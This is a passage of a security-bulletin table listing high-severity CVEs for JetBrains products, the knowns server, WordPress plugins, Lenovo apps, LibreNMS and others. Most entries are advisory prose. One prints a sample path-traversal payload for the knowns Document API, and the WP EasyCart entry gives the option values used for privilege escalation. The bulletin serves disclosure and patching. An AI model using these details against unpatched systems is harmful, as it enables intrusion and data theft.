&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;jaychouchannel--Tourism-Management-System&lt;/td&gt;
&lt;td&gt;A security flaw has been discovered in jaychouchannel Tourism-Management-System up to 229956e20dbd4a80eeff14535e44d3099502af09. The impacted element is an unknown function of the component Update Endpoint. Performing a manipulation results in missing authentication. The attack may be initiated remotely. The exploit has been released to the public and may be used for attacks. This product uses a rolling release model to deliver continuous updates. As a result, specific version information for affected or updated releases is not available. The patch is named 84d8ec384f669df3985293dab293bb7b477efa64. It is suggested to install a patch to address this issue.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90524&quot; target=&quot;_blank&quot;&gt;CVE-2026-90524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--Hub&lt;/td&gt;
&lt;td&gt;In JetBrains Hub before 2026.2.52442 an unauthenticated attacker could register a trusted service and gain superuser privileges&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86480&quot; target=&quot;_blank&quot;&gt;CVE-2026-86480&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--IntelliJ IDEA&lt;/td&gt;
&lt;td&gt;In JetBrains IntelliJ IDEA before 2026.2.2 missing TLS and authentication on the IJent gRPC server allowed local code execution on Remote Development hosts&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86502&quot; target=&quot;_blank&quot;&gt;CVE-2026-86502&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--IntelliJ IDEA&lt;/td&gt;
&lt;td&gt;In JetBrains IntelliJ IDEA before 2026.2.2 missing project-trust confirmation before building a Dev Container allowed host-level code execution&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86504&quot; target=&quot;_blank&quot;&gt;CVE-2026-86504&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2025.3.161254, 2026.1.14042 improper authentication in YouTrack Helpdesk allowed unauthenticated account takeover via a self-asserted email address&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86478&quot; target=&quot;_blank&quot;&gt;CVE-2026-86478&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18788, 2026.1.14055, 2025.3.161254 missing authorisation allowed access to restricted REST API resources via IDOR&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86479&quot; target=&quot;_blank&quot;&gt;CVE-2026-86479&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 unchecked group membership changes allowed privilege escalation&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86482&quot; target=&quot;_blank&quot;&gt;CVE-2026-86482&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 a shared token cache allowed cross-tenant theft of GitHub App installation tokens&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86492&quot; target=&quot;_blank&quot;&gt;CVE-2026-86492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2026.2.18634 cloning a whiteboard allowed unauthorized changes to links on inaccessible issues&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86494&quot; target=&quot;_blank&quot;&gt;CVE-2026-86494&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;JetBrains--YouTrack&lt;/td&gt;
&lt;td&gt;In JetBrains YouTrack before 2025.3.160480, 2026.1.14047 pUT requests on link sub-resources allowed modification linked entities without update permission&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86498&quot; target=&quot;_blank&quot;&gt;CVE-2026-86498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;John Darrel--Hide My WP Ghost&lt;/td&gt;
&lt;td&gt;Server-Side Request Forgery (SSRF) vulnerability in John Darrel Hide My WP Ghost allows Server Side Request Forgery. This issue affects Hide My WP Ghost: from n/a through 7.0.09.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81806&quot; target=&quot;_blank&quot;&gt;CVE-2026-81806&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kalkitech--ASE2000 V2 Communication Test Set&lt;/td&gt;
&lt;td&gt;ASE/Kalkitech ASE2000 V2 Communication Test Set 2.35 through 2.37 on Windows contains an improper certificate validation vulnerability in the IEC 60870-5-104 TLS client (Task Mode). This allows a network-positioned attacker to bypass certificate validation via a certificate with multiple simultaneous faults, enabling a Man-in-the-Middle attack on protected communications.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90647&quot; target=&quot;_blank&quot;&gt;CVE-2026-90647&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kamalyon--Direct Download for WooCommerce&lt;/td&gt;
&lt;td&gt;The Direct Download for WooCommerce plugin for WordPress is vulnerable to Directory Traversal in all versions up to, and including, 1.19 via the (top-level include) function. This makes it possible for unauthenticated attackers to read the contents of arbitrary files on the server, which can contain sensitive information. The product ownership check only verifies that some free, virtual, downloadable product exists on the site - not that the requested file path belongs to that product&#039;s configured downloads - making exploitation viable on any WooCommerce site with at least one such product.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15019&quot; target=&quot;_blank&quot;&gt;CVE-2026-15019&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;kevoreilly--CAPEv2&lt;/td&gt;
&lt;td&gt;CAPEv2 through commit 471ee4b fails to validate task ownership in REST API endpoints, allowing authenticated users to read and delete analyses submitted by other users. Attackers can enumerate all tasks in the system and delete arbitrary analyses by sending requests to task view and delete endpoints without ownership verification.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90768&quot; target=&quot;_blank&quot;&gt;CVE-2026-90768&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Kingdom Communication Associated--EH3040&lt;/td&gt;
&lt;td&gt;Smart Video Intercom System developed by Kingdom Communication Associated has a Missing Brute-force Protection vulnerability. Unauthenticated remote attackers can gain access to valid accounts through a large number of login attempts.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89174&quot; target=&quot;_blank&quot;&gt;CVE-2026-89174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns before 0.30.0 fails to validate import names in the import routes, allowing unauthenticated attackers to write files outside the imports directory. Attackers can supply traversal sequences in the name parameter to escape the imports directory and overwrite arbitrary files writable by the server process.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86542&quot; target=&quot;_blank&quot;&gt;CVE-2026-86542&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.30.0 serve the management API without authentication on all network interfaces by default, with no password required on fresh installations. Attackers can access the unauthenticated /api/tunnel/start endpoint to provision a public tunnel and republish the API at a publicly accessible address.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86543&quot; target=&quot;_blank&quot;&gt;CVE-2026-86543&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.31.0 fail to properly validate the x-opencode-directory request header in the /api/opencode proxy endpoint. Remote attackers can supply arbitrary directory paths to execute file operations outside the project root on the host system.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88899&quot; target=&quot;_blank&quot;&gt;CVE-2026-88899&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.30.0 fail to validate filesystem paths in MCP tool arguments, allowing attackers to read, create, overwrite and delete files outside the project directory. Attackers can supply path arguments containing directory traversal sequences to access arbitrary Markdown files accessible to the server process.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86439&quot; target=&quot;_blank&quot;&gt;CVE-2026-86439&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.30.0 contain a path traversal vulnerability in the handleCodeReplace() function that allows attackers to overwrite arbitrary files outside the project root. Attackers can supply absolute paths or relative paths containing directory traversal sequences to write malicious content to sensitive files like shell startup scripts or SSH configuration files.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86541&quot; target=&quot;_blank&quot;&gt;CVE-2026-86541&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.30.0 contain an authorization bypass vulnerability where mutating code actions are incorrectly classified as read-only operations. Attackers with read-restricted sessions can exploit code.replace to modify permission configurations and escalate privileges on subsequent calls.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86544&quot; target=&quot;_blank&quot;&gt;CVE-2026-86544&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns (npm package) versions &amp;lt;= 0.29.1 contain a path traversal vulnerability in the Document API. The HTTP handler in internal/server/routes/docs.go normalizes the user-supplied document path with cleanDocPath(), which strips leading/trailing slashes and the .md suffix but does not neutralize ../ traversal sequences, and internal/storage/doc_store.go then builds the target path with filepath.Join(ds.docsDir(), filepath.FromSlash(doc.Path)+&quot;.md&quot;) without verifying that the resolved path remains inside the documents directory. In the default deployment, where the Management API is unauthenticated and bound to all interfaces, a remote unauthenticated attacker can supply a traversal payload (for example {&quot;path&quot;: &quot;../../../../tmp/knowns_pwn_marker&quot;} to POST /api/docs, or an encoded path to GET /api/docs/...) to read, create, overwrite, or delete arbitrary files with a .md extension anywhere on the host filesystem and to create arbitrary directories via os.MkdirAll. This can expose sensitive data stored in other projects&#039; documentation, corrupt or destroy files, and provide an arbitrary-write primitive that may be chained toward code execution. The issue is fixed in version 0.30.0.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86775&quot; target=&quot;_blank&quot;&gt;CVE-2026-86775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns through 0.33.0 fails to properly validate template destination paths in the code generation template engine, allowing attackers to read and write arbitrary files outside the project root. Attackers can supply malicious templates that traverse directories to overwrite shell profiles, steal credentials, or achieve persistent code execution on victim systems.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88937&quot; target=&quot;_blank&quot;&gt;CVE-2026-88937&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns through 0.33.0 exempts the project.set action from permission guard checks unconditionally, allowing read-only agent sessions to bypass restrictions. Attackers can invoke project.set to repoint the server at another project directory and obtain write access capabilities.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88939&quot; target=&quot;_blank&quot;&gt;CVE-2026-88939&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.30.0 contain a path traversal vulnerability in the POST /api/templates/preview endpoint that allows unauthenticated attackers to read arbitrary files. Attackers can supply directory traversal sequences in the templateFile parameter to bypass path restrictions and read sensitive files like credentials and configuration through the JSON response.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86538&quot; target=&quot;_blank&quot;&gt;CVE-2026-86538&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns through 0.33.0 contains a server-side request forgery vulnerability in the POST /api/embedding-models/test endpoint that issues outbound requests to caller-supplied destinations without validation. Attackers can enumerate internal hosts and cloud metadata endpoints by observing transport error messages that reveal network reachability information.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86539&quot; target=&quot;_blank&quot;&gt;CVE-2026-86539&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;knowns-dev--knowns&lt;/td&gt;
&lt;td&gt;knowns versions before 0.30.0 fail to validate the settings.lsp.languages binary field in project configuration files, allowing attackers to execute arbitrary binaries by crafting a malicious .knowns/config.json file. When a repository with a crafted configuration is opened, the unvalidated binary path is executed twice under the user&#039;s account without any verification.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86540&quot; target=&quot;_blank&quot;&gt;CVE-2026-86540&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krakenjs--passport-saml-encrypted&lt;/td&gt;
&lt;td&gt;passport-saml-encrypted through 0.1.13 makes SAML signature verification conditional on an optional cert option, allowing attackers to bypass authentication by submitting unsigned SAML responses. Attackers can post forged SAML responses with arbitrary NameID and attributes to the assertion consumer service endpoint to receive authenticated profiles without valid signatures.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89042&quot; target=&quot;_blank&quot;&gt;CVE-2026-89042&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;krakenjs--passport-saml-encrypted&lt;/td&gt;
&lt;td&gt;passport-saml-encrypted through 0.1.13 contains an XML signature wrapping vulnerability where signature verification and assertion extraction use independent XPath lookups with no cross-validation. Attackers holding any validly signed SAML message can prepend a forged unsigned assertion that gets accepted as the verified identity while the genuine signature validates against the original assertion.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89043&quot; target=&quot;_blank&quot;&gt;CVE-2026-89043&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;langbot-app--LangBot&lt;/td&gt;
&lt;td&gt;LangBot before 4.10.11 generates password recovery keys with only 24 bits of entropy and applies no rate limiting to the unauthenticated reset-password endpoint. Remote attackers knowing the administrator email can exhaust the keyspace through concurrent requests to reset the admin password and gain account access.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90562&quot; target=&quot;_blank&quot;&gt;CVE-2026-90562&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;Lara Dashboard before 1.3.2 authorizes the POST /admin/settings/core-upgrades/upload endpoint with only the settings.edit permission, allowing non-Superadmin administrators to upload and extract arbitrary zip archives over the live application source code. Attackers can upload a malicious archive containing modified application files such as routes/web.php with embedded system commands, which execute as the web server user with access to environment secrets and database credentials.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86437&quot; target=&quot;_blank&quot;&gt;CVE-2026-86437&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;Lara Dashboard before 1.3.2 fails to authorize the MarketplaceModuleBrowser installModule Livewire action, allowing non-Superadmin administrators to install modules. Attackers can download and auto-activate arbitrary PHP modules from the marketplace over unsigned HTTP requests, achieving remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86438&quot; target=&quot;_blank&quot;&gt;CVE-2026-86438&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;laradashboard--laradashboard&lt;/td&gt;
&lt;td&gt;Lara Dashboard through 1.3.1 contains a server-side request forgery vulnerability in the POST /api/admin/builder/markdown/fetch endpoint that allows any authenticated user to fetch arbitrary URLs and read the response body. Attackers can read internal HTTP services and cloud metadata including IAM credentials by supplying malicious URLs without host validation or redirect restrictions.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87821&quot; target=&quot;_blank&quot;&gt;CVE-2026-87821&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Lenovo--File Manager Application&lt;/td&gt;
&lt;td&gt;A potential improper authorization vulnerability was reported in the Lenovo File Manager Android Application, distributed exclusively in the Chinese market, that could allow a local authenticated user to read or modify protected files within the application.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-18994&quot; target=&quot;_blank&quot;&gt;CVE-2026-18994&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Lenovo--FileZ Client&lt;/td&gt;
&lt;td&gt;A potential improper permissions vulnerability was reported in the Lenovo Filez Client application that could allow a local authenticated user to escalate privileges.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-11813&quot; target=&quot;_blank&quot;&gt;CVE-2026-11813&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Lenovo--Health Application&lt;/td&gt;
&lt;td&gt;A vulnerability was reported in Lenovo Health Android Application, distributed exclusively in the Chinese market, that could allow an attacker to access sensitive health-related information.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75940&quot; target=&quot;_blank&quot;&gt;CVE-2026-75940&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Lenovo--Software Fix&lt;/td&gt;
&lt;td&gt;An authentication bypass vulnerability was discovered in Lenovo Software Fix that could allow a local authenticated user to perform arbitrary code execution with elevated privileges.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63427&quot; target=&quot;_blank&quot;&gt;CVE-2026-63427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Lenovo--Tianxi AI Agent PC Application&lt;/td&gt;
&lt;td&gt;A potential command injection vulnerability was reported in the Tianxi AI Agent PC Application, distributed exclusively in the Chinese market, that could allow operating system commands to be executed if a local user opens a specially crafted link that is handled by the application.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19136&quot; target=&quot;_blank&quot;&gt;CVE-2026-19136&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lenve--vhr&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in lenve vhr 1.0-SNAPSHOT. Affected by this issue is some unknown functionality of the file vhr.sql. The manipulation leads to use of default credentials. Remote exploitation of the attack is possible. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90498&quot; target=&quot;_blank&quot;&gt;CVE-2026-90498&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;levelfourstorefront--Shopping Cart &amp;amp; eCommerce Store&lt;/td&gt;
&lt;td&gt;The WP EasyCart plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.9.3. This is due to the ec_ajax_save_page_default_options() AJAX handler iterating over every $_POST key and passing it directly into update_option() without any allowlist, while gating the handler only on &#039;manage_options&#039; OR the plugin&#039;s custom &#039;wpec_manager&#039; capability. The plugin&#039;s built-in &#039;wpec_store_manager&#039; role holds &#039;wpec_manager&#039; but not &#039;manage_options&#039;, and the required nonce is emitted on frontend product/category templates that render for any user with &#039;wpec_manager&#039;. This makes it possible for authenticated attackers, with Store Manager-level access and above, to elevate their privileges to administrator by updating arbitrary WordPress options such as default_role=&#039;administrator&#039; and users_can_register=&#039;1&#039;, then self-registering a new account that is assigned the administrator role.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17553&quot; target=&quot;_blank&quot;&gt;CVE-2026-17553&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;lfnovo--open-notebook&lt;/td&gt;
&lt;td&gt;Open Notebook before 1.11.0 fails to validate the URL parameter in POST /api/sources endpoint, allowing authenticated users to perform server-side requests to internal services. Attackers can supply arbitrary URLs to read cloud metadata, internal network services, and localhost-bound services through the application server&#039;s direct HTTP requests.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;7.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90769&quot; target=&quot;_blank&quot;&gt;CVE-2026-90769&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;libp2p--libp2p-rendezvous&lt;/td&gt;
&lt;td&gt;libp2p-rendezvous through 0.17.1 fails to validate registration TTL values in discovery responses, allowing attackers to trigger timer arithmetic overflow. A malicious rendezvous server can send a discovery response with an unbounded TTL value that causes the client node process to panic when computing the expiry timer.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89146&quot; target=&quot;_blank&quot;&gt;CVE-2026-89146&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;librenms--librenms&lt;/td&gt;
&lt;td&gt;LibreNMS before 26.8.0 contains an argument injection vulnerability in the graph_title parameter that allows authenticated attackers to inject arbitrary rrdtool arguments by breaking out of double-quote escaping. Attackers can inject DEF and LINE arguments to read RRD files from unauthorized devices, or use newline injection to execute arbitrary rrdtool commands, bypassing per-device authorization checks.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86427&quot; target=&quot;_blank&quot;&gt;CVE-2026-86427&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
